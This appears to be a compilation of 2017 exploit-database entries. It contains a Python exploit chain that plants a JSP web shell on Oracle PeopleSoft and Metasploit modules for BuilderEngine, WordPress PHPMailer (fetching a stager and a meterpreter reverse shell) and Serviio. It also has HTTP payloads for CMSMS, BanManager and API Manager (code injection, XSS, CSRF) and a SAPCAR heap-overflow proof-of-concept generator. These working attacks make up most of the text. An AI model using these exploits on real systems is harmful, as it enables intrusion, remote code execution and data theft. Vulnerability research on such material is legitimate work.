Since the SQL injection vulnerability is available for any logged users, an 
attacker needs a valid credential to exploit that vulnerability. By 
exploiting that SQL Injection the attacker could obtain any available data 
(even if they don’t belongs directly to him), eventually deleting and 
replacing data as well.

Impact
-------------------
This vulnerability allows full database access. It includes sensitive 
information that normally should be accessed by specific users.
An attacker could dump the user table, which contains usernames and 
password hashes, and proceed to bruteforcing passwords offline and could 
possibly obtain administrative credentials, or could access private files 
or personal details such as: telephone numbers, physical address and 
private assets.
Obtaining administrative credentials would allow an attacker to perform 
actions like: add or deleting users, jobs, and everything else an admin can 
do.
By having access to sensible information the attacker could eventually 
pivoting them to perform further attacks on different target assets.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
            
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()

    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
    """Wrapper around requests.
    """

    def __init__(self, url):
        self.url = url
        self.init()

    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False

    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)

    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)

    def matches(self, r, regex):
        return re.findall(regex, r.text)


class Recon(Browser):
    """Grabs different informations about the target.
    """

    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()

    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')

    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return

        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')

        if not m:
            raise RuntimeError('Unable to find site ID')

        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)

    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return

        r = self.get('/psp/%s/signon.html' % self.site_id)

        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return

        raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """

    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))

    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )

    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)

    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('\n', ' ')
        payload = re.sub('\s+<', '<', payload, flags=re.S)
        payload = re.sub('\s+', ' ', payload, flags=re.S)
        return payload

    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload

    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)

    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )

    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )

    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text

    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())

        if not self.service_check():
            raise RuntimeError('Unable to deploy service')

        o('+', 'Service deployed')

    def service_undeploy(self):
        if not self.local_port:
            return

        self.xxe_ssrf(self.soap_service_undeploy())

        if self.service_check():
            o('-', 'Unable to undeploy service')
            return

        o('+', 'Service undeployed')

    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )

    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text

    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)

    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot

        # 1: Copy portletentityregistry.xml to TMP

        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per

        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')

        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)

        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')

        response = self.get(pivot_url)

        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')

        o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)


def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
      'Description'    => %q{
        This module exploits a vulnerability found in BuilderEngine 3.5.0
        via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
        file, which would result in arbitrary remote code execution under the context of
        the web server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metanubix',   # PoC
          'Marco Rivoli' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '40390']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['BuilderEngine 3.5.0', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 18 2016",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
        ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
    })

    if res && res.code == 200 && !res.body.blank?
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path

    peer = "#{rhost}:#{rport}"
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    data = Rex::MIME::Message.new
    payload_encoded = Rex::Text.rand_text_alpha(1)
    payload_encoded << "<?php "
    payload_encoded << payload.encoded
    payload_encoded << " ?>\r\n"
    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri'    => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
      'method' => 'POST',
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })

    if res
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
        register_file_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("Calling payload...")
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(uri,'files/', php_pagename)
    )
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
      'Description'         => %q{
        This module exploits a command injection vulnerability in WordPress
        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
        a mail-sending library that is bundled with WordPress.

        A valid WordPress username is required to exploit the vulnerability.
        Additionally, due to the altered Host header, exploitation is limited to
        the default virtual host, assuming the header isn't mangled in transit.

        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
        may have HttpProtocolOptions set to Strict, preventing a Host header
        containing parens from passing through, making exploitation unlikely.
      },
      'Author'              => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'          => [
        ['CVE', '2016-10033'],
        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
      ],
      'DisclosureDate'      => 'May 3 2017',
      'License'             => MSF_LICENSE,
      'Platform'            => 'linux',
      'Arch'                => [ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['WordPress 4.6 / Exim', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => 'wget'
      },
      'CmdStagerFlavor'     => ['wget', 'curl']
    ))

    register_options([
      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])

    deregister_options('VHOST', 'URIPATH')
  end

  def check
    if (version = wordpress_version)
      version = Gem::Version.new(version)
    else
      return CheckCode::Safe
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Gem::Version.new('4.6')
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    if check == CheckCode::Safe
      print_error("Is WordPress installed at #{full_uri} ?")
      return
    end

    # Since everything goes through strtolower(), we need lowercase
    print_status("Generating #{cmdstager_flavor} command stager")
    @cmdstager = generate_cmdstager(
      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
      :temp    => datastore['WritableDir'],
      :file    => File.basename(cmdstager_path),
      :nospace => true
    ).join(';')

    print_status("Generating and sending Exim prestager")
    generate_prestager.each do |command|
      vprint_status("Sending #{command}")
      send_request_payload(command)
    end
  end

  #
  # Exploit methods
  #

  # Absolute paths are required for prestager commands due to execve(2)
  def generate_prestager
    prestager = []

    # This is basically sh -c `wget` implemented using Exim string expansions
    # Badchars we can't encode away: \ for \n (newline) and : outside strings
    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
      "{get #{get_resource} http/1.0$value$value}}}}}}"

    # CmdStager should rm the file, but it blocks on the payload, so we do it
    prestager << "/bin/rm -f #{cmdstager_path}"
  end

  def send_request_payload(command)
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => wordpress_url_login,
      'headers'       => {
        'Host'        => generate_exim_payload(command)
      },
      'vars_get'      => {
        'action'      => 'lostpassword'
      },
      'vars_post'     => {
        'user_login'  => datastore['USERNAME'],
        'redirect_to' => '',
        'wp-submit'   => 'Get New Password'
      }
    )

    if res && !res.redirect?
      if res.code == 200 && res.body.include?('login_error')
        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
      else
        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
      end
    end

    res
  end

  def generate_exim_payload(command)
    exim_payload  = Rex::Text.rand_text_alpha(8)
    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
  end

  # We can encode away the following badchars using string expansions
  def encode_exim_payload(command)
    command.gsub(/[\/ :]/,
      '/' => '${substr{0}{1}{$spool_directory}}',
      ' ' => '${substr{10}{1}{$tod_log}}',
      ':' => '${substr{13}{1}{$tod_log}}'
    )
  end

  #
  # Utility methods
  #

  def cmdstager_flavor
    datastore['CMDSTAGER::FLAVOR']
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

  #
  # Override methods
  #

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      print_good("Sending #{@cmdstager}")
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      print_good("Sending payload #{datastore['PAYLOAD']}")
      super
    end
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated remote command execution vulnerability
        in the console component of Serviio Media Server versions 1.4 to 1.8 on
        Windows operating systems.

        The console service (on port 23423 by default) exposes a REST API which
        which does not require authentication.

        The 'action' API endpoint does not sufficiently sanitize user-supplied data
        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
        used in a call to cmd.exe resulting in execution of arbitrary commands.

        This module has been tested successfully on Serviio Media Server versions
        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '41961'],
          ['PACKETSTORM', '142387'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 3 2017',
      'DefaultTarget'  => 0))
    register_options([ Opt::RPORT(23423) ])
  end

  def check
    res = execute_command('')

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown
    end

    if res.headers['Server'] !~ /Serviio/
      vprint_status 'Target is not a Serviio Media Server'
      return CheckCode::Safe
    end

    if res.headers['Server'] !~ /Windows/
      vprint_status 'Target operating system is not vulnerable'
      return CheckCode::Safe
    end

    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
      vprint_status 'Unexpected reply'
      return CheckCode::Safe
    end

    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
      vprint_status "#{peer} Serviio Media Server version #{$1}"
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
                     'method' => 'POST',
                     'ctype'  => 'application/json',
                     'data'   => data.to_json)
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
    execute_cmdstager(:temp => '.', :linemax => 8000)
  end
end
            
# Title:             CMSMS 2.1.6 Multiple Vulnerabilities
# Date:              10-05-2017
# Tested on:         Windows 8 64-bit
# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912

Remote Code Execution
======================

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 


Stored XSS 
==========

POST /cmsms/admin/addgroup.php HTTP/1.1

_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true


Disclosure Timeline
====================

09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912
            
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
 
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian

### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.

### Vulnerable param
PHP Code Injection & Stored XSS
 - footer
 - buttons_before
 - buttons_after

Only PHP Code Injection
 - banextra
 - muteextra

### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';

POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive

type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=


### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
            
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API)
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

### CSRF1 - ADD API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="test">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="test">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj">
<input type="hidden" name="memo" value="kj">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="">
<input type="hidden" name="type" value="GET">
<input type="hidden" name="url" value="test">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="test">
<input type="hidden" name="re" value="lkj">
<input type="hidden" name="name" value="test">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->



### CSRF2 - Delete API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST">
<input type="hidden" name="id" value="3">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->


### CSRF3 - EDIT API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="001">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="password">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD">
<input type="hidden" name="memo" value="login_name \x4e0e email \x4e8c\x9009\x5176\x4e00654<script>alert('csrf')</script>">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="\x5bc6\x7801">
<input type="hidden" name="type" value="POST">
<input type="hidden" name="url" value="http://api.xxx.com">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="\x4f1a\x5458\x767b\x5f55\x8c03\x7528\x6b64\x63a5\x53e3">
<input type="hidden" name="re" value="{\r\n    \"status\": 1, \r\n    \"info\": \"\x767b\x5f55\x6210\x529f\", \r\n    \"data\": [ ]\r\n}">
<input type="hidden" name="name" value="\x4f1a\x5458\x767b\x5f55">
<input type="hidden" name="id" value="2">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
            
'''
Source: https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability

1. Advisory Information

Title: SAP SAPCAR Heap Based Buffer Overflow Vulnerability
Advisory ID: CORE-2017-0001
Advisory URL: http://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
Date published: 2017-05-10
Date of last update: 2017-05-10
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Heap-based Buffer Overflow [CWE-122]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2017-8852


3. Vulnerability Description

SAP [1] distributes software and packages using an archive program called SAPCAR [2]. This program uses a custom archive file format. A memory corruption vulnerability was found in the parsing of specially crafted archive files, that could lead to local code execution scenarios.

4. Vulnerable Packages

SAPCAR archive tool version 721.510
Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

SAP published the following Security Notes:

2441560
6. Credits

This vulnerability was discovered and researched by Martin Gallo and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.


7. Technical Description / Proof of Concept Code

This vulnerability is caused by a controlled heap buffer overflow when opening a specially crafted CAR archive file.

The following python code can be used to generate an archive file that triggers the vulnerability:
'''

#!/usr/bin/env python
 
from scapy.packet import Raw
from pysap.SAPCAR import *
 
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
    fd.write("Some string to compress")
 
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
f.add_file("string.txt")
 
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0[0].blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0[0].blocks.append(Raw("A" * 0xffff))
 
# Write the file
f.write()

'''
$ ./SAPCAR -tvf poc.car
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r--          23    09 Feb 2017 18:12 string.txt
Segmentation fault (core dumped)
The CAR archive files in its version 2.00 are comprised of an archive header and a list of archived files [3]. Each archived file has a header containing the file's metadata, and the content of the file is split among several blocks. When the SAPCAR program opens a file containing an archived file block different than the known ones [4], it reads an additional 32 bytes of file metadata. The program then uses the last two bytes of the data read as a size field, and copies that amount of data into a fixed-length buffer previously allocated in the heap. As the length field is not properly validated, the operation results in a heap-based buffer overflow.

It's worth mentioning that signature validation doesn't prevent the vulnerability to be triggered, as the signature file needs to be extracted from the archive file in order for the validation to be performed.


8. Report Timeline

2017-02-15: Core Security sent an initial notification to SAP.
2017-02-16: SAP confirmed the reception of the email and requested the draft version of the advisory.
2017-02-16: Core Security sent SAP a draft version of the advisory and informed them we would adjust our publication schedule according with the release of a solution to the issues.
2017-02-17: SAP confirmed reception of the draft advisory and assigned the incident ticket 1780137949 for tracking this issue. They will answer back once the team analyze the report.
2017-03-06: Core Security asked SAP for news about the advisory and publication date.
2017-03-08: SAP answered back saying they had troubles generating the SAPCAR archive. They asked for a pre-built one.
2017-03-08: Core Security researcher sent a PoC SAPCAR archive that can trigger the vulnerability. SAP confirmed reception.
2017-03-08: SAP asked for GPG key for one of the researchers involved in the discovery. Core Security sent (again) the key. SAP confirmed reception.
2017-03-13: SAP confirmed they could reproduce the vulnerability. They said they cannot commit to a publication date yet, but they aim at May 9th, although it could fall in April Patch day or postpone after May.
2017-03-13: Core Security thanked SAP for the tentative date and informed them we would publish our security advisory accordingly upon their confirmation.
2017-04-03: Core Security asked SAP for an update about the final publication date for this vulnerability's patch.
